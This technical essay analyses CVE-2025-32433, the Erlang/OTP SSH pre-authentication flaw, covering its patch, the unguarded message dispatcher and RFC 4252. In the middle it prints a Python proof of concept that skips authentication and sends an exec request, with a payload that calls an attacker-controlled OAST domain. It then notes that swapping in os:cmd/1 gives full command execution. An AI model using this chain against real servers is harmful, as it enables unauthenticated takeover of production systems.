The patch is twenty-two lines. Six of them are RFC 4252.
The fix landed in commit 0fcd9c5 on April 14, 2025, signed off by Jakub Witczak of the Erlang/OTP team and shipped to three release branches the same day. The diff against lib/ssh/src/ssh_connection.erl is one new function clause inserted into handle_msg/4, the dispatcher every inbound SSH message reaches once it has been decrypted and parsed:
handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) ->
%% See RFC4252 6.
%% Message numbers of 80 and higher are reserved for protocols running
%% after this authentication protocol, so receiving one of them before
%% authentication is complete is an error, to which the server MUST
%% respond by disconnecting, preferably with a proper disconnect message
%% sent to ease troubleshooting.
MsgFun = fun(M) ->
MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts),
io_lib:format("Connection terminated. Unexpected message"
" for unauthenticated user. Message: ~w",
[M], [{chars_limit, MaxLogItemLen}])
end,
?LOG_DEBUG(MsgFun, [Msg]),
{disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"},
handle_stop(Connection)};
Six lines of comment. Sixteen lines of code. The comment is RFC 4252 section 6, paraphrased close enough to verbatim that the attribution is its first line. The code is the function clause that turns the prose into an enforcement point.
What was in the file before that clause: every other clause of handle_msg/4. Thirty-some clauses matching #ssh_msg_channel_open{}, #ssh_msg_channel_request{}, #ssh_msg_channel_data{}, #ssh_msg_channel_eof{}, #ssh_msg_global_request{}, every connection-protocol message type the SSH RFCs define. Each clause destructures the message record. Each clause receives the #ssh{} runtime record as its fourth argument. None of them looks at the record's authenticated field.
The patch does not add a state check to any of those clauses. It does not refactor. It inserts one earlier clause, which Erlang's pattern-match dispatch order evaluates first. Any message arriving in a server-side connection where authenticated = false matches the new clause and the connection is disconnected before the channel handlers run. The channel handlers are unchanged. The field they were not reading is now read one clause above them.
The field was always in the record
lib/ssh/src/ssh.hrl, at the patch's parent commit 6cbc096:
-record(ssh,
{role,
peer,
...
authenticated = false,
...
}).
The field is there. Default false. The userauth subsystem mutates it to true after a successful SSH_MSG_USERAUTH_REQUEST is processed against the configured authentication methods. Every inbound message handler receives the #ssh{} record. The field is in scope at every dispatcher clause.
The pre-patch handle_msg/4 clauses, abbreviated to the dispatcher shape:
handle_msg(#ssh_msg_channel_open{channel_type = "session" = Type,
sender_channel = RemoteId,
initial_window_size = WindowSz,
maximum_packet_size = PacketSz},
Connection, server, _SSH) ->
%% allocate a channel, return open_confirmation
...;
handle_msg(#ssh_msg_channel_request{recipient_channel = ChannelId,
request_type = "exec",
want_reply = WantReply,
data = Data},
Connection, server, _SSH) ->
%% hand Data to the configured exec callback
...;
The argument is named _SSH, the leading underscore meaning the clause acknowledges the binding and does not use it. Pattern matching on the message record's other fields. No matching on authenticated. No guards. No conditional. The dispatcher knew the SSH runtime state was in the argument and explicitly chose not to read it.
This is what the same code looked like at OTP 17.0, released April 2014. The copyright header on ssh_connection.erl at that tag reads Ericsson AB 2008-2013. The #ssh{authenticated = false} field is in ssh.hrl at every release tag GitHub serves. The bug is older than the field was useful. The advisory's affected-versions field reads "All users running the Erlang/OTP SSH server are impacted by this vulnerability, regardless of the underlying Erlang/OTP version," followed by "versions prior to OTP 17.0 are likely also affected." That sentence is the dispatcher's history written without naming the dispatcher.
The exploit is what a client looks like when the dispatcher doesn't ask
The public PoC, distributed as a Nuclei template authored by ProjectDiscovery's research team, opens a TCP socket and sends three SSH protocol messages in order. No SSH_MSG_USERAUTH_REQUEST. No password attempt. No public-key offer. The message numbers, from RFC 4253 section 12:
| Number |
Hex |
Name |
RFC's phase |
| 20 |
0x14 |
SSH_MSG_KEXINIT |
algorithm negotiation |
| 50 |
0x32 |
SSH_MSG_USERAUTH_REQUEST |
authentication |
| 90 |
0x5a |
SSH_MSG_CHANNEL_OPEN |
connection (post-auth) |
| 98 |
0x62 |
SSH_MSG_CHANNEL_REQUEST |
connection (post-auth) |
The PoC sends 20, 90, 98. It skips 50 entirely.
with socket.create_connection((HOST, PORT)) as s:
# version banner
s.sendall(b"SSH-2.0-OpenSSH_7.4\r\n")
banner = s.recv(1024)
# 0x14: key exchange init
s.sendall(build_kexinit())
receive_packet(s)
# 0x5a: channel open, type "session"
s.sendall(build_channel_open())
receive_packet(s)
# 0x62: channel request, type "exec", command = Erlang source
payload = 'inet:gethostbyname("' + os.getenv('OAST') + '").'
s.sendall(build_channel_request(command=payload))
What inet:gethostbyname("attacker.oast.site"). means at the receiving end: the exec channel-request handler in ssh_connection.erl forwards the request to the configured SSH channel callback. The Erlang SSH daemon's default callback for exec is the Erlang shell. The shell parses the request body as an Erlang expression, compiles it, and evaluates it. inet:gethostbyname/1 is part of the standard library. It performs a DNS lookup of its argument. The argument is attacker-controlled. A successful DNS query for the OAST domain is what the Nuclei template's interactsh_protocol matcher fires on.
The PoC's payload is benign. The next character of the request body, in a working exploit, is the command line. inet:gethostbyname/1 is replaced by os:cmd/1 and the daemon's process user runs whatever shell command the attacker writes. The Erlang/OTP SSH server is commonly used as the operations channel for production Erlang systems, the path operators take to attach to a running BEAM and inspect state. The exec callback exists because operators need a one-shot expression evaluator that can reach process internals. The attacker reaches the same evaluator with the same authority.
The dispatcher sees #ssh_msg_channel_open{} and the "session" clause matches. The dispatcher sees #ssh_msg_channel_request{request_type = "exec"} and the exec clause matches. Neither clause asks. Neither clause was ever going to ask. The pattern-match dispatch was the implementation's effective allowlist, and message records the implementation knew about were on it.
RFC 4252 section 6 was the allowlist. The implementation parsed by message type.
RFC 4252 was published January 2006. Section 6 contains the prose the patch comment quotes: "Message numbers of 80 and higher are reserved for protocols running after this authentication protocol, so receiving one of them before authentication is complete is an error, to which the server MUST respond by disconnecting."
The Erlang/OTP team's ssh module exists to implement RFC 4252 and the RFCs it composes with. The team had read the document. The #ssh{authenticated} field is in the record because the userauth phase tracks its own completion. The gen_statem callback structure exists because SSH is a stateful protocol whose state transitions are the security model. The piece that was missing was the gate that ties the connection-protocol dispatcher to the authentication-protocol state. The RFC named the gate. The record carried the state the gate needed. The dispatcher's pattern-match clauses, written one record at a time, became the implicit allowlist of what the server would accept at any state.
This is the Convention Is The Allowlist shape applied to a stateful network protocol. The catalog's two prior exhibits live in HTTP client libraries. Streamlink's M3U8 parser accepted any URI scheme urlparse recognised because the HLS RFC implied http and https by example rather than by grammar. Kysely's K extends string accepted any JSON-path string the runtime SQL parser would accept because the type signature implied a single property name by name rather than by constraint. Both cases were the allowlist living in the spec authors' heads and the downstream consumers' assumptions, and the code never installing it.
CVE-2025-32433 is the protocol-state instance. The phase grammar lives in RFC 4252 section 6 as prose. The Erlang implementation parses by record type and runs whatever clause matches. The set of accepted messages in the unauthenticated state was whatever message types the dispatcher had clauses for. Every connection-protocol message type had a clause. The pattern's "set of accepted values remains whatever happens to be supported by the surrounding subsystems today" rendered, for SSH state machines, as "whatever message records the module currently destructures."
The patch closes the demonstrated chain by adding the catch-all clause for unauthenticated server-side messages. It does not add authenticated guards to any specific channel handler. It does not refactor the dispatcher to make the state explicit at every clause. It places one gate one position earlier than every other clause, where the dispatcher's pattern-match evaluation order makes it fire first. The other thirty handlers' contract with the #ssh{} argument has not changed. They still do not read authenticated. They are now never reached in the state where it would matter.
The shape was present at the first commit
The Erlang/OTP team that wrote ssh_connection.erl knew the SSH RFCs. The module exists to implement them. They wrote a record that tracks authentication state in its core. They wrote a userauth subsystem that mutates the field on success. They wrote a connection-protocol dispatcher whose clauses receive the record and do not consult it. They wrote a test in ssh_protocol_SUITE.erl for every message type they handle, and none of those tests sent a channel_open before authentication and asserted disconnection. The patch adds that test. It is named early_rce.
The Ruhr University Bochum disclosure team, the same group behind the Terrapin attack, found the bug by writing the test that was not there. The Erlang/OTP advisory credits Fabian Bäumer, Marcel Maehren, Marcus Brinkmann, and Jörg Schwenk. The advisory does not say when the bug was introduced, because the introduction date is not a single commit. The shape of the bug is not a missed check at one site. The shape is a security model that the record schema admits and the dispatcher schema does not. The two schemas were written together. They have disagreed continuously since.
The patch's early_rce test sends kexinit, then channel_open, then channel_request{exec, "lists:seq(1,10)."}, then asserts receive_msg matches disconnect(). Before April 14 2025, that assertion would have failed against every production Erlang/OTP SSH daemon shipped since 2008. The pass condition the test asserts is the condition the implementation's authors named in their own record's field name and then never coded against.
PoC: projectdiscovery/nuclei-templates.
The patch's twenty-two lines are not novel security work. Six of them were written in 2006. The other sixteen are the Erlang function clause that, until April 2025, no one had written.